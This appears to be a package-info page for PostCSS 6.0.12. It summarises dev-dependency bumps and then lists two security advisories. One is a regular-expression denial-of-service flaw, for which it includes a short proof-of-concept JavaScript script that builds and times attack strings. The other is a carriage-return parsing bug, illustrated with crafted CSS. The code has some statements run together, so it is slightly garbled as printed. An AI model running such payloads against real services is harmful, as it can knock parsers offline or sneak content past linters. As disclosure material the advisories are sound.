PostCSS version 6.0.12 represents a minor update over its predecessor, version 6.0.11, focusing on refinements within the development environment. The core functionality of PostCSS, remaining a powerful tool for transforming styles with JavaScript plugins, remains consistent, offering developers the ability to manipulate CSS with unparalleled flexibility.
Key upgrades in 6.0.12 center around developer dependencies. Notably, jest advances from version 21.0.1 to 21.1.0, eslint moves from 4.6.1 to 4.7.2, fs-extra goes from 4.0.1 to 4.0.2, lint-staged jumps from 4.1.0 to 4.2.3, and run-sequence climbs from 2.1.0 to 2.2.0, and yaspeller-ci goes from 0.6.0 to 0.7.0. size-limit also increases to version 0.11.4 from 0.11.0. These enhancements likely incorporate bug fixes, performance improvements, and potentially, new features within these respective development tools. For developers, these upgrades translate to a smoother and more efficient development workflow, improved code quality checks through ESLint, more robust testing with Jest, and streamlined pre-commit processes via lint-staged. While the core PostCSS API remains stable between these versions, developers benefiting from these updated development dependencies will find upgrading to 6.0.12 worthwhile for an enhanced development experience. The essence of PostCSS – its versatility in CSS transformation via JS plugins – is maintained, ensuring continued utility for a wide variety of styling tasks.
All the vulnerabilities related to the version 6.0.12 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.